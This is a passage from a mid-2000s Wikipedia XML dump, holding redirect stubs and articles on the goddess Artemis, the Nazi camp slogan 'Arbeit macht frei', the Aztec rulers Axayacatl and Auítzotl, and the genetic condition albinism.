*[[Comparison of file archivers]]</text>
    </revision>
  </page>
  <page>
    <title>African Rap</title>
    <id>2902</id>
    <revision>
      <id>15901283</id>
      <timestamp>2003-04-13T00:53:22Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[African hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>The Diary of Anne Frank</title>
    <id>2903</id>
    <revision>
      <id>22434476</id>
      <timestamp>2005-09-02T23:51:03Z</timestamp>
      <contributor>
        <username>Yallery Brown</username>
        <id>301329</id>
      </contributor>
      <minor />
      <comment>link redirect</comment>
      <text xml:space="preserve">#REDIRECT [[The_Diary_of_a_Young_Girl]]</text>
    </revision>
  </page>
  <page>
    <title>Al-Quabail Mountains</title>
    <id>2904</id>
    <revision>
      <id>15901285</id>
      <timestamp>2004-04-09T01:10:04Z</timestamp>
      <contributor>
        <username>BillyH</username>
        <id>48653</id>
      </contributor>
      <minor />
      <comment>Proper Redirect.</comment>
      <text xml:space="preserve">#REDIRECT [[Al-Qabail Mountains]]</text>
    </revision>
  </page>
  <page>
    <title>Artemis</title>
    <id>2905</id>
    <revision>
      <id>42151528</id>
      <timestamp>2006-03-04T03:58:01Z</timestamp>
      <contributor>
        <ip>67.183.221.69</ip>
      </contributor>
      <comment>/* Orion */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Diane_de_Versailles_Leochares.jpg|thumb|right|200px|The &quot;Artemis of Versailles&quot;, a Roman copy of a [[Hellenistic]] marble sculpture, now at the [[Louvre Museum]].]]

[[Greek mythology]] '''Artemis''' ([[World Book]] ''«AHR tuh mihs»'') (Greek '''{{unicode|&amp;#x1F08;}}ρτεμις''') is the daughter of [[Zeus]] and [[Leto]] and the twin sister of [[Apollo (god)|Apollo]].  In later times she was conflated with the [[goddess]] [[Diana (goddess)|Diana]] of [[Roman mythology]].  In [[Etruscan mythology]], she took the form of [[Artume]].

== Worship ==
[[Image:Temple_of_Artemis.jpg|thumb|left|300px|Temple of Artemis, engraving by [[Martin Heemskerck]].]]
{{Greek myth (Olympian)}}
She was the virgin [[moon goddess]] of the hunt, wild animals, healing, wilderness, chastity, and [[childbirth]].  She was worshipped as a fertility/childbirth goddess in many places since, according to some myths, she assisted her mother in the delivery of her twin.  At some point in the [[classical antiquity|Classical period]], she was identified by some with [[Hecate]], the primal, pre-Olympian feral goddess.  She much later became more identified with and eventually supplanted [[Selene]] as the [[moon goddess]] to complement her twin's identification with and supplantation of [[Helios]] as the [[sun god]].  Artemis also assimilated [[Caryatis]] ([[Carya]]).

Her priestesses were addressed with the title [[Melissa]], which means &quot;honey bee&quot;.

Artemis was not worshipped heavily in much of mainland [[Greece]].  In [[Asia Minor]], however, she was a principal deity. The city of Ephesus is probably the best known of the Asian centers of her worship, from the story in the [[Acts of the Apostles]], where the Ephesian metalsmiths who feel threatened by Paul's preaching of the new faith, zealously riot in her defense, shouting &quot;Great is Diana of the Ephesians!&quot; (''Acts 19:28'' KJV) In [[Roman Empire|Rome]], she was heavily venerated at [[Mount Tifata]] near [[Capua]] and in holy forests (such as [[Aricia]], [[Latium]])  Her high priest lived in Aricia; his position was passed to the person who was able to kill him with a bough, picked from a tree in the forest.

Festivals in honor of Artemis include [[Brauronia]], held in [[Brauron]] and the festival of [[Artemis Orthia]] in [[Sparta]].

Young girls were initiated into the cult of Artemis at puberty.  However, before marrying (an event in which they had little say, and which occurred shortly after puberty), they were asked to lay all the accoutrements of virginity (toys, dolls, locks of their hair) on an altar to Artemis.

=== Diana ===
Diana was worshipped in a temple on the [[Aventine Hill]] where mainly lower-class citizens and slaves worshipped her.  Slaves could ask for and receive asylum in her temples.

She was worshipped at a festival on [[August 13]].

Her name may have come from ''diviana'' (&quot;the shining one&quot;).

It is often presumed that defeated peoples become a substratum beneath that of their conquerors.  It seems plausible that the association of Diana worship with slaves may reflect the conquest of Goddess worshippers by, presumably, the early Romans.

=== Artemis in art ===
[[Image:Statue_of_Artemis_Ephesus.jpg|right|thumb|250px|Statue of Artemis, [[Ephesus]], [[Turkey]].]]

In art, she was typically portrayed with a crescent moon above her head and her bow and arrows, created by [[Hephaestus]] and the [[Cyclopes]].  These arrows, in contrast to her role as goddess of childbirth, were said to be the cause of women dying in childbirth.  Her brother [[Apollo]] exhibited contradiction as well, as he was a god of healing who brought [[leprosy]], [[rabies]] and [[gout]].

[[Image:Artemis breasts.jpg|right|thumb|250px|Closeup of statue of Artemis from Asia Minor, now in the [[Vatican Museums]], [[Rome]].]]

In [[Ephesus]], the [[Temple of Artemis]] became one of the [[Seven Wonders of the World]].  In Ephesus, and elsewhere in Asia Minor, she was worshipped primarily as an earth and fertility goddess, akin to [[Cybele]], unlike in mainland Greece.  Statues in Greece depict her with her bow and arrow. In Asia Minor, she was often depicted with multiple rounded protuberances on her chest. They were formerly believed to be multiple breasts but are now known to have represented bull testes (''see right'').

=== Appellations ===
As [[Agrotora]], she was especially associated as the patron goddess of hunters.  Artemis was often associated with the local [[Aegina|Aeginian]] goddess, [[Aphaea]].  As [[Potnia|Potnia Theron]], she was the patron of wild animals; [[Homer]] used this title.  As [[Kourotrophos]], she was the nurse of youths. As [[Locheia]], she was the goddess of childbirth and midwives.  She was sometimes known as Cynthia, from her birthplace on [[Mount Cynthus]] on [[Delos]].  She sometimes used the name [[Phoebe]], the feminine form of her brother, Apollo's, [[Phoebus]].

== Birth ==
In Greek mythology Artemis is the daughter of [[Zeus]] and [[Leto]], and the twin sister of [[Apollo]]. [[Leto]] had to find a place where the sun had never shone to give birth to the two due to a curse set by [[Hera]], [[Zeus]]' wife.  For this, [[Zeus]] rose an island that had been floating underwater and not yet touched by the sun. The island was [[Delos]], and [[Leto]] gave birth there. Artemis was born first and then assisted Leto in the birth of her brother.  Artemis and [[Apollo]] were born greater than any of [[Hera]]'s children.

== Childhood ==
At three years old, Artemis asked her father, Zeus, while sitting on the god king's knee, to grant her several wishes. She asked for perpetual virginity, lop-eared hounds, does to lead her chariot, and [[nymph]]s as her hunting companions.  He granted her wishes.  All of her companions remained virgins, and she guarded her chastity very closely.

== Tales of Artemis and Men ==
[[Image:Adonis3.jpg|thumb|[[Adonis]].]]
=== Actaeon ===
She was once bathing nude in the woods when the Theban prince and hunter [[Actaeon]] stumbled across her.  He stopped and stared, amazed at her ravishing beauty.  He was so stunned that he accidentally stepped on a twig, and Artemis noticed him.  She was so disgusted at his stares that she changed him to a stag and set his own hounds to kill him.  He was torn apart by the deadly hunting dogs, who never knew that the stag they were hunting was their own master.  Alternatively, Actaeon boasted that he was a better hunter than she and Artemis turned him into a stag and he was eaten by his hounds.

=== Adonis ===
In some versions of the story of [[Adonis]], Artemis or [[Ares]] (her lover in this story) sent a wild boar to kill Adonis.  This version is suspect because it implies that Artemis had lain with Ares and by virtually all accounts, she remained chaste throughout time.

=== Siproites ===
A Cretan, Siproites, saw Artemis bathing nude and was changed by her into a woman.  (The complete story does not survive in any mythographer's works, but is mentioned offhand by [[Antoninus Liberalis]].)

=== Orion ===
After leaving Eos, [[Orion (mythology)|Orion]] became a follower of Artemis.  She eventually killed him, though the reasons given vary:
#Orion and Artemis were engaged.  Her brother, [[Apollo (god)|Apollo]] didn't believe it was appropriate for her to marry a mortal.  Apollo convinced Orion to walk out into the water and then dared Artemis to try to hit the barely visible speck (actually Orion's head) with an arrow from the shore.  She succeeded, killing him.
#Orion raped one of Artemis' female followers.  She sent [[Scorpio]], a [[scorpion]], to kill him and both were placed in the stars as [[constellation]]s.  This legend explains why the constellation Scorpio rises just after Orion begins to set -- the scorpion still chases him.  Orion's dog became [[Sirius]], the dog-star.
#Artemis was in love with Orion. She was very happy with him and spent many of her days hunting with him. Apollo, her brother got jealous that she was paying more attention to Orion than him, so he came up with a plan to get rid of him. He sent a giant scorpion to kill Orion, but Artemis put him on an island where the scorpian could not get to him. Apollo challenged Artemis saying that she could not hit that rock way out in the distance. when Orions dead ody floated to the shore,Artemis weeped for days. She sent his body, and his hunting dog to the stars and they became the constellations Orion and the dog star Sirius. the Scorpian became the constellation Scorpio.

== Other stories ==
=== Callisto ===
[[Image:Tizian 015.jpg|thumb|300px|right|[[Tizian]]'s ''Diana and Callisto'']]Artemis killed any of her companions who lost their virginity, such as [[Maera]] and [[Callisto the Greek myth|Callisto]].

One of Artemis' companions, [[Callisto the Greek myth|Callisto]], lost her virginity to Zeus, who had come disguised as Artemis.  Enraged, Artemis changed her into a bear.  Callisto's son, [[Arcas]], nearly killed his mother while hunting, but Zeus or Artemis stopped him and placed them both in the sky as [[Ursa Major]] and [[Ursa Minor]].

=== Agamemnon and Iphigenia ===
Artemis punished [[Agamemnon]] after he killed a sacred deer in a sacred grove and boasted he was a better hunter.  On his way to [[Troy]] to participate in the [[Trojan War]], Agamemnon's ships were suddenly motionless as Artemis stopped the wind.  An [[oracle]] named [[Calchis]] told Agamemnon that the only way to appease Artemis was to sacrifice [[Iphigenia]], his daughter.  According to some versions, he did so, but others claims that he sacrificed a deer in her place and Iphigenia was taken to [[Crimea]] to prepare others for sacrifice to Artemis.

=== Niobe ===
A Queen of [[Thebes (Greece)|Thebes]] and wife of [[Amphion]], [[Niobe]] boasted of her superiority to Leto because she had fourteen children ([[Niobids]]), seven male and seven female, while Leto had only two.  Apollo killed her sons as they practiced athletics, with the last begging for his life, and Artemis her daughters.  Apollo and Artemis used poisoned arrows to kill them. Amphion, at the sight of his dead sons, either killed himself or was killed by Apollo after stating he would get revenge.  A grief-stricken Niobe fled to [[Mount Siplyon]] in [[Asia Minor]] and turned into stone as she cried, or killed herself.  Her tears made the river [[Achelous]].  Zeus had turned all the people of Thebes to stone and so no one buried the Niobids until the 9th day after their death, when the gods themselves buried them.

=== Taygete ===
[[Zeus]] pursued [[Taygete]], one of the [[Pleiades (mythology)|Pleiades]], who prayed to Artemis.  The goddess turned Taygete into a doe but Zeus raped her when she was unconscious.  She thus conceived [[Lacedaemon]], the mythical founder of [[Sparta]].

=== Otus and Ephialtes ===
[[Aloadae|Otus]] and [[Ephialtes]] were a pair of brothers and giants.  At one point, they wanted to storm [[Mt. Olympus]].  They managed to kidnap [[Ares]] and hold him in a jar for thirteen months. He was only released when Artemis offered to sleep with Otus. This made Ephialtes envious and the pair fought. Artemis changed herself into a doe and jumped between them. The [[Aloadae]], not wanting her to get away, threw their spears and killed each other.

=== The Meleagrids ===
After the death of [[Meleager]], Artemis turned her grieving sisters, the [[Meleagrids]] into [[guineafowl]].

=== Chione ===
Artemis killed [[Chione]] for her pride and vanity.

=== Atalanta and Oeneus ===
Artemis saved the infant [[Atalanta]] from dying of exposure after her father abandoned her.  She sent a female bear to suckle the baby, who was then raised by hunters.

Among other adventures, Atalanta participated in the hunt for the [[Calydonian Boar]], which Artemis had sent to destroy [[Calydon]] because King [[Oeneus]] had forgotten her at the harvest sacrifices.

=== Camilla ===
Queen [[Camilla]] was a follower of Artemis who was killed in battle by a man named Arruns. Soon after Camilla's death, a nymph in Artemis' train shot and killed the man with an arrow, avenging the dead huntress.

== Artemis in Neopaganism ==
Many [[Neopaganism|Neopagans]], particularly ''Hellenistic'' [[sect]]s in the [[United States]], that worship Artemis today seem to omit many of the ancient myths. Those myths which are accepted by modern [[Neopaganism|Neopagans]] seem to be interpreted rather abstractly, as mostly metaphor. Artemis is believed to be rather concerned with her follower's well being, but to reserve her boons to those who respect nature.

Artemis, in modern worship, is often seen as the goddess of wealth, magic, abundance, fertility, hunting, and longevity. While many who practice magic worship [[Hecate]] more favor Artemis for her supposed benevolence. Worship of Artemis may often include the burning of oils and incense, prayer, ritual nocturnal hunts, the burning of bread, and prostration. Artemis is thought to grant numerous boons and blessings on her followers, and is commonly worshipped by both men and women.

[[Artemis Fowl]] is a book series by the same name, referencing some of the details mentioned in this article.

[[Category:Fertility goddesses]]
[[Category:Greek goddesses]]
[[Category:Health goddesses]]
[[Category:Hunting goddesses]]
[[Category:Lunar goddesses]]

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  </page>
  <page>
    <title>Arbeit macht frei</title>
    <id>2906</id>
    <revision>
      <id>42065623</id>
      <timestamp>2006-03-03T15:57:23Z</timestamp>
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      <text xml:space="preserve">[[Image:Camp ArbeitMachtFrei.JPG|thumb|''Arbeit Macht Frei'' gate at [[Sachsenhausen concentration camp|KZ Sachsenhausen]]]]

&quot;'''''Arbeit macht frei'''''&quot; is a [[German language|German]] phrase meaning &quot;work brings freedom&quot; or &quot;work shall make you free&quot;. It is probably derived from [[Gospel of John|John]] 8:32 in [[The Bible]], &quot;the truth shall make you free&quot; and from there, via the [[Protestant work ethic]], developed into a German and Swiss-German [[peasant]] saying. 

In 1872, the German-nationalist author [[Lorenz Diefenbach]] used it as a title for a novel, which caused it to become well-known in nationalist circles. It was adopted by the [[Weimar Republic|Weimar government]] in 1928 as a slogan describing the effects of their desired policy of large-scale public work programmes to end unemployment. It was continued in this usage by the [[NSDAP]] when it came into power in 1933.

As either a sign of contempt for Judaic culture or as an ironic joke or satire, or a way of instilling false hope, this slogan was placed at the entrances of a number of [[Nazi Germany|Nazi]] [[concentration camp]]s. Although it was common practice in [[Germany]] to post inscriptions of this sort at the entrances to institutional properties or large estates, the use of the slogan in this particular way was ordered by SS General [[Theodor Eicke]], inspector of the concentration camps and first commandant of [[Dachau concentration camp|Dachau]]. The slogan can still be seen at several sites, including those at [[Auschwitz concentration camp|Auschwitz I]] (although according to ''Auschwitz: A New History'' by BBC historian Laurence Rees, it was placed at this location by commandant Rudolf Höss who believed that doing menial work when he had been imprisoned during the Weimar Republic had helped him through the experience), [[Dachau concentration camp|Dachau]], [[Gross-Rosen]], [[Sachsenhausen (detention camp)|Sachsenhausen]], and the [[Concentration camp Theresienstadt|Theresienstadt]] Ghetto-Camp (at [[Buchenwald concentration camp|Buchenwald]], however, &quot;'''''[[Jedem das Seine]]'''''&quot; was used instead; which translates to &quot;To each his own&quot;).

[[Image:Terezin.ArbeitMachtFrei.JPG|thumb|''Arbeit Macht Frei'' at concentration camp [[Terezin]] in the Czech Republic.]]

As a consequence, this saying has acquired very negative and sinister undertones in much of the western world.

In [[1938]], the [[Austria]]n political cabaret writer [[Jura Soyfer]] and the composer [[Herbert Zipper]], then both prisoners at [[Dachau concentration camp]], wrote the ''Dachaulied'', the Dachau song. They had spent weeks marching in and out of the gates of the camp to forced work every day, and considered the motto &quot;Arbeit macht frei&quot; above the gates as an insult. The song repeats the phrase cynically as a &quot;lesson&quot; taught by Dachau. The first verse is translated in the article on Jura Soyfer.

{{Commons|Category:Arbeit macht frei}}

[[Category:German phrases]]
[[Category:Nazi Germany]]
[[Category:Labor]]

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  </page>
  <page>
    <title>Axayacatl</title>
    <id>2907</id>
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      <text xml:space="preserve">'''Axayacatl''' (pron. {ah-sha-ya-ka'-tl} - the name means &quot;Water-mask&quot; or &quot;Water-face&quot;) was an [[Aztec]] ruler ([[Tlatoani]]) of the city of [[Tenochtitlán]] from [[1469]] to [[1481]].

He is chiefly remembered for subjugating [[Tlatelolco]], Tenochtitlán's sister city, in [[1473]]. Using as a pretext the insulting behavior of a few Tlatelolcan citizens, he invaded his neighbor, killed its ruler, [[Moqui-huix]], and replaced him with a military governor. The Tlatelolcans lost any voice they had in forming Aztec policy.

He was preceded on the throne by [[Moctezuma I]] and followed by his brother [[Tizoc|Tízoc]] in [[1481]].

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  </page>
  <page>
    <title>Auítzotl</title>
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      <text xml:space="preserve">'''Auítzotl''' (sometimes rendered as '''Ahuitzotl''' or Axayacatl) was the eighth  [[Aztec]] ruler, the ''Chief Speaker'',  of the city of [[Tenochtitlán]].  He was responsible for the expansion of the Mexica domain, and consolidated the empire's power after a weak performance by his predecessor.  He took power as [[Tlatoani]] in [[1486]], after his predecessor [[Tízoc]] was poisoned. 

Perhaps the greatest known military leader of [[Pre-Columbian]] [[Mesoamerica]], Auítzotl began his reign by suppressing a [[Huastec]] rebellion, and then swiftly more than doubled the size of lands under Aztec dominance.  He conquered the [[Mixtec]], [[Zapotec]], and other peoples from Mexico's Pacific coast down to the western part of [[Guatemala]].  Auitzotl also supervised a major rebuilding of Tenochtitlán on a grander scale including the expansion of the Great Pyramid or [[Templo Mayor]].  He ordered over 20,000 people to be sacrificed in the dedication of the Great Pyramid.

Auitzotl was the third son of Lord [[Moctezuma I]] (also found as Motecuhzome and Ilhuicamina), who was the fifth Chief Speaker.  He was succeeded in [[1502]] by his son, [[Moctezuma II]] (the famous &quot;Montezuma&quot; humiliated by [[Hernán Cortés|Cortés]]).  A second son, [[Cuitláhuac]], was the tenth true Chief Speaker.   

The Aztec king [[Ahuitzotl]] took the [[Ahuizotl (creature)|Ahuizotl]] as his [[mascot]], but it appears the Aztecs thought of it as a creature in its own right, and not merely a mythical beast representing the king.

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  </page>
  <page>
    <title>Albinism</title>
    <id>2909</id>
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      <text xml:space="preserve">{{redirect|Albino}}
{{DiseaseDisorder infobox |
  Name        = Albinism |
  ICD10       = E70.3 |
  ICD9        = {{ICD9|270.2}} |
}}

'''Albinism''' (from [[Latin language|Latin]] ''albus'', meaning &quot;white&quot;) is a lack of [[pigment|pigmentation]] in the eyes, skin and hair. It is an inherited condition resulting from the combination of [[recessive allele]]s passed from both parents of an individual. This condition is known to affect mammals, fish, birds, reptiles, and amphibians. While the most common term for an individual affected by albinism is &quot;albino&quot;, some of them prefer &quot;person with albinism&quot;, because &quot;albino&quot; is often used in a derogatory way. A humorous compensation for this was the invention of the word &quot;pigmento&quot; for a normally pigmented person.
The gene which results in albinism prevents the body from making the usual amounts of a [[pigment]] called [[melanin]]. Albinism used to be categorised as [[Tyrosinase]] positive or negative. In cases of Tyrosinase positive albinism, the [[enzyme]] tyrosinase is present but is unable to enter [[melanocyte|pigment cells]] to produce melanin. In tyrosinase negative cases, this enzyme is not produced. This classification has been rendered obsolete by recent research. 

About 1 in 17,000 people have some type of albinism, although up to 1 in 70 are carriers. 

There are many alterations of [[genes]] which are proven to be associated with albinism. All alterations, however, lead to an alteration of the melanin (pigment/coloring) production in the body. [[Melanin]] helps protect the [[skin]] from [[ultraviolet]] [[light]] coming from the [[sun]] (see [[human skin color]] for more information). Organisms with albinism lack this protective pigment in their skin, and can burn easily from exposure to the sun as a result. Lack of melanin in the eye also results in problems with vision unrelated to [[photosensitivity]], which are discussed further below.

There are two main categories of albinism in humans: oculocutaneous and ocular. In ocular albinism, only the eyes lack pigment. In oculocutaneous pigment is missing from the hair, eyes, and skin. People who have ocular albinism have normal skin/hair color and many have normal eye color. People with oculocutaneous albinism can have no pigment to almost normal. Some may even tan. 

[[Image:Albino brother &amp; sister.jpg|thumb|240px|left|African brother &amp; sister with albinism (parents in the back)]]

The eyes of a person with albinism occasionally appear red due to the underlying blood vessels showing through where there is not enough pigment to cover them. In humans this is rarely the case, as a human eye is quite large and thus produces enough pigment to lend opacity to the eye. However, there are cases in which the eyes appear red or purple, depending on the amount of pigment present. 

People with albinism are generally as healthy as the rest of their species, with growth and development occurring as normal. Many animals with albinism, however, lose their protective camouflage and are unable to conceal themselves from their predators or prey. The survivability rate of animals with albinism in the wild is usually quite low. The largest problem people with albinism face is social, as the condition is sometimes a source of teasing during adolescent years. 

As albinism is a recessive gene, the chance of offspring with albinism resulting from the pairing of a creature with albinism with a creature without albinism is very low and is discussed below.

===Types of albinism===
There are many types of albinism. While there is only one type of ocular albinism, there are at least five types of oculocutaneous albinism, one of which has several subtypes. Some are easily distinguished by appearance, but in most cases, genetic testing is the only way to be sure. Apart from HPS (see below) testing has no medical benefits. 

* The type with the usually least amount of pigment is '''OCA1''' ({{OMIM|203100}}). People with this type usually have very white skin, white hair and light blue eyes, however there are cases in which the eyes appear red or purple, depending on the amount of pigment present.. OCA1 is caused by an alteration of the tyrosinase gene, and can occur in two variations. The first is OCA1A, and means that the organism cannot develop pigment at all. Vision usually ranges from 20/200 to 20/400.  The second is OCA1b, which has several subtypes itself. Many individuals with OCA1b can tan and develop pigment. One subtype of OCA1b is called OCA1b TS (Temperature Sensitive), where the [[tyrosinase]] can only function below a certain temperature, which causes the body hair in cooler body regions to develop pigment (i.e. get darker).

* The most common type of albinism is '''OCA2''' ({{OMIM|203200}}), which is caused by alterations of the P-gene. People with OCA2 generally have more pigment, and better vision than those with OCA1, but cannot tan like some with OCA1b. A little pigment can develop in freckles or moles. People with OCA2 usually have fair skin but not as white as OCA1, and light to golden or reddish blonde hair, and usually blue eyes. Affected people of African decent usually have a different phenotype (appearance): Yellow hair, rather white skin and blue, gray or hazel eyes.

* '''OCA3''' or Rufuous (=Red) Albinism ({{OMIM|203290}}) has only been partially researched and documented. Cases have been reported in Africa and New Guinea, affected individuals have red hair and reddish brown skin and blue or gray eyes. 

* '''HPS''' or '''Hermansky-Pudlak-Syndrome''' ({{OMIM|203300}}) is not a type of OCA itself, but has similar features. HPS has a great range of degrees of pigmentation, from OCA1A-like to almost normal. Vision usually ranges  from 20/60 to 20/200. Apart from the hypopigmentation and impaired vision, people with HPS have an abnormality in their blood platelets, which usually leads to bleeding issues and bruising easily, and people with HPS often suffer from lung fibrosis (scarring of the lung) and other sicknesses. HPS is very rare. 

* '''Ocular albinism''' ('''OA1''') ({{OMIM|300500}}) affects only the eyes, and occurs primarily in males, as it is [[X-linked]] inherited. Nonetheless, skin color can be slightly lighter than those of the rest of the family, or &quot;normal&quot;. The eye color can vary greatly, in which case only examination of the retina can reveal OA1.

==Visual problems associated with albinism==
Eye conditions common in albinism include (not all will necessarily be present)

* [[Nystagmus]], irregular rapid movement of the eyes back and forth.
* [[Strabismus]], muscle imbalance of the eyes (&quot;crossed eyes&quot; or &quot;lazy eye&quot;)
* Sensitivity to bright light and glare.
* Far- or Near-sightedness
* [[Astigmatism]] (distortion of a viewed image, usually either horizontally or vertically)
* Abnormal routing of the [[optic nerve]] to the brain

People with albinism suffer from impaired vision, but the degree varies greatly. While a person with albinism may suffer from a standard eye affliction like [[near-sightedness]] or [[far-sightedness]], the biggest problem arises from a poorly-developed [[retina]] and abnormal nerve connections between the eyes and brain. These abnormalities ''define'' albinism, medically. While the  effects of this condition are difficult to describe, it can be explained as seeing at a lower resolution.  Additionally, most people with albinism suffer from [[nystagmus]] (a rapid, involuntary &quot;shaking&quot; of the eyes) which further reduces vision. People with albinism are also likely to have [[astigmatism]] or [[strabismus]]. 

The [[Iris (anatomy)|iris]], the colored area in the center of the eye, does not have enough pigment to screen out stray light coming into the eye. Light normally enters the eye only through the pupil, the dark opening in the center of the iris, but in albinism light can pass through the iris as well. Such sensitivity generally leads to a dislike of bright lights, but does not prevent people with albinism enjoying the outdoors, especially when using sunglasses and/or hats. They should avoid prolonged exposure to bright sunlight regardless, as their skin is particularly susceptible to [[sunburn]] (see below).

===Sun Protection and Vision Aids===
&lt;!-- Image with unknown copyright status removed: [[Image:Child OCA sunprotection.jpg|thumb|right|Child with OCA, enjoying the outdoors with sunglasses and hat]] --&gt;
Albinism is a condition that cannot be &quot;cured&quot; or &quot;treated&quot; per se, but small things can be done to improve the quality of life for those affected. It is vital that people with albinism use sunscreen when exposed to sunlight to prevent premature skin aging or [[skin cancer]]. This poses a big problem for those who cannot afford sunscreen, especially in countries with high exposure to sunlight, as in Africa. Special UV-proof clothing and swimsuits are available and are a good alternative to excessive use of sunscreen.

For the most part, treatment of the eye conditions consists of visual rehabilitation. Surgery to correct strabismus may improve the appearance of the eyes. However, since surgery will not correct the misrouting of nerves from the eyes to the brain, surgery will not provide fine binocular vision. In the case of esotropia or &quot;crossed eyes,&quot; surgery may help vision by expanding the visual field (the area that the eyes can see while looking at one point).

Glasses and low-visual aids such as magnifiers, large print materials or CCTVs ([[closed-circuit television]]), as well as bright but angled reading lights can help individuals with albinism, even if their vision cannot be corrected completely. Some people do well using bifocals which have a strong reading lens, prescription reading glasses, or contact lenses. Others use hand-held magnifiers or special small telescopes. Some use bioptics, glasses which have small telescopes mounted on, in, or behind their regular lenses, so that they can look through either the regular lens or the telescope. Newer designs of bioptics use smaller light-weight lenses. Some states allow the use of bioptic telescopes for driving. (See also NOAH bulletin &quot;Low Vision Aids.)  

Although still disputed among the experts, many ophthalmologists recommend the use of glasses from early childhood on to allow the eyes the best development possible. Surgery is possible on the ocular muscles to decrease nystagmus, strabismus and common refractive errors, but especially with nystagmus surgery the effectiveness varies greatly and depends on individual circumstances.

[[Optometry|Optometrists]] or [[Ophthalmology|ophthalmologists]] who are experienced in working with low vision patients can recommend various optical aids. Clinics should provide aids on trial loan, and provide instruction in their use. The American Foundation for the Blind (1-800-AFB-LIND) maintains a directory of low vision clinics.

Use of sunglasses and hats with wide brims can make the glare outside bearable. Other things that can help people with albinism are avoiding sudden changes of the lighting situation (switching the light on in complete darkness), using dimmable switches and adding tint to car windows or blinds to normal windows. Lights should be yellowish rather than blue and not point towards the usual position of a person with albinism (like their seat at a table). When possible, people with albinism prefer to have the light on their backs rather than face it.

==Culture==
===Myths and Superstitions===
Due to albinism's effect on one's outward appearance, cultures around the world have developed many myths and superstitions regarding people with albinism.

[[Zimbabwe]] has developed a myth that having [[sex]] with a woman with albinism will cure a man of [[HIV]]. This has led to many women with albinism in the area being raped [http://ipsnews.net/interna.asp?idnews=14122].

In [[Jamaica]], West Indies, people with albinism have been degraded and regarded as cursed.  In recent times, the affected [[dancehall]] singer [[Yellowman]] has helped to end this stereotype.

In some cultures, people with albinism are thought to have [[magical]] powers or are able to tell the future.

It is also thought by many that people with albinism live short life spans.  This is not true, and may be a distorted view of a more reasonable fact that people with albinism have a higher risk of skin cancer if they do not use proper skin protection  when in the sun.
[[image:snowdrop.penguin.600pix.jpg|thumb|right|180px|Snowdrop, an albino African Penguin, born at Bristol Zoo (England), died in August 2004. Snowdrop would normally have looked like the background penguins]]

===Other===
[[Bristol Zoo]] was the home to a very rare albino [[African penguin]] named Snowdrop. Snowdrop was hatched at the zoo in October 2002 and died in August 2004. For many years, a unique albino [[gorilla]] named [[Floquet de Neu]] (Snowflake) was the most famous resident of the Parc Zoològic de [[Barcelona]]. An albino [[humpback whale]] travels up and down the east coast of Australia, and has become famous in the local media.  The whale is called Migaloo (the [[Indigenous Australians|Aboriginal]] word for &quot;white lad&quot;).

Medical science and [[toxicology]] can take advantage of the standardized lack of pigment in albino animals in testing for materials' chemical properties. An example of such a test is the test for corrosiveness, which is a skin exposure test performed on albino rabbits.

The [[2004]] book [[Weird U.S.]] chronicled (and further popularized) one of the lesser known &quot;local myths&quot; of the country, Albino Colonies. The book uses firsthand accounts mailed to the authors to paint a picture of various locations in the [[U.S.]] (most notably [[Clifton, New Jersey]]) where colonies of albino families and neighbors live in seclusion. The accounts tell tales of honking horns to try to bring the albinos out of their houses, being shot at with [[rock salt]] by albinos, and even [[vigilante|vigilantism]] by gangs of albinos. 

==Famous people with albinism==
*[[Pierre Bourgault]]: [[Québécois]] politician   DISPUTED: there are pictures taken circa 1960 that show him with dark hair and eyebrows
*[[Cano Estremera]]: [[Puerto Rico|Puerto Rican]] [[salsa music|salsa]] musician
*[[Li Yipeng]], [[Lee Hsien Loong]]'s son
*[[Stanley Kaoni]]: [[Solomon Islands|Solomon Islander]] militant leader
*[[Salif Keita]]: [[Mali]]an popular musician
*[[Hermeto Pascoal]]: Brazilian [[jazz]] musician
*[[Piano Red]]: American [[blues]] musician
*[[Nestor Sánchez]]: [[Cuba]]n singer
*[[William Archibald Spooner]]: [[Anglican]] priest
*[[Yellowman]]: Jamaican [[dancehall]] musician
*[[Al beeno]]: Jamaican dancehall musician 
*[[Edgar Winter]]: American rock musician
*[[Johnny Winter]]: American [[blues]] musician
*[[Tony Evans]]: American newspaper columnist
*[[Brother Ali]] : American [[hip hop music|hip hop]] MC
*[[Connie Chiu]] : Photo model for [[Jean-Paul Gaultier]]
*Juan Di Natale: Argentinian reporter and radio-TV presenter.

==See also==
* [[Vitiligo]] (or leukoderma), the patchy loss of skin pigmentation
* [[Melanism]] (or melanosis), the condition of having too much skin pigmentation
* [[Leucism]], a similar condition in animals, characterized by reduced pigmentation

==Publications==
* '''Albino Animals''' by Kelly Milner Halls.  Darby Creek Publishing (March, 2004) ISBN 1581960123

==External links==
{{Wiktionarypar|Albino}}
{{commons|Albinos}}

'''Albinism in humans:'''
* [http://www.albinism.org.uk The UK Albinism Fellowship]
* [http://www.albinism.org NOAH The National Organization for Albinism and Hypopigmentation USA]
* [http://groups.yahoo.com/group/Albinism_International/ Albinism International] Online Support Community for people with albinism and their family members
* [http://www.lunaeterna.net/popcult Albinism in Popular Culture]
* [http://sd.gospelcom.net/072.html Biblical references] - [[William Blake]]'s Ancient of Days was based upon the Revelation of St John the Divine, 1:14: *:&quot;His head and hair were white like wool, as white as snow, and His eyes like a flame of fire*
* [http://www.wired.com/news/culture/0,1284,58599,00.html Pale Riders Who Wear Black Hats] - Wired News article on albinism in cinema
* [http://www.michaelstevenson.com/contemporary/exhibitions/hugo/albino.htm Portraits of People with albinism] by Pieter Hugo
*http://home10.inet.tele.dk/brandt/albeng.htm People with albinism from [[Zimbabwe]]

'''Albinism in animals:'''
* [http://www.messybeast.com/albinism/albinism.htm Albino Animals] - Albino and white mammals and birds
* [http://allaboutfrogs.org/weird/strange/albino.html Albino frogs]
* [http://freshaquarium.about.com/cs/cyprinids2/p/albinotigerbarb.htm Albino Tiger Barb]
* [http://animal-world.com/encyclo/fresh/catfish/acory.php Albino Corydorus paleatus]

'''Spanish Spoken Organizations:'''
*[http://www.albinismo.org OLA-Organización Latinoamericana de Albinismo]
*[http://groups.yahoo.com/group/albinismo_latinoamericano Comunidad Electrónica de OLA]

[[Category:Congenital genetic disorders]]

[[bg:Албинизъм]]
[[da:Albinisme]]
[[de:Albinismus]]
[[es:Albinismo]]
[[eo:Albinismo]]
[[fr:Albinisme]]
[[it:Albinismo]]
[[he:לבקנות]]
[[nl:Albinisme]]
[[ja:アルビノ]]
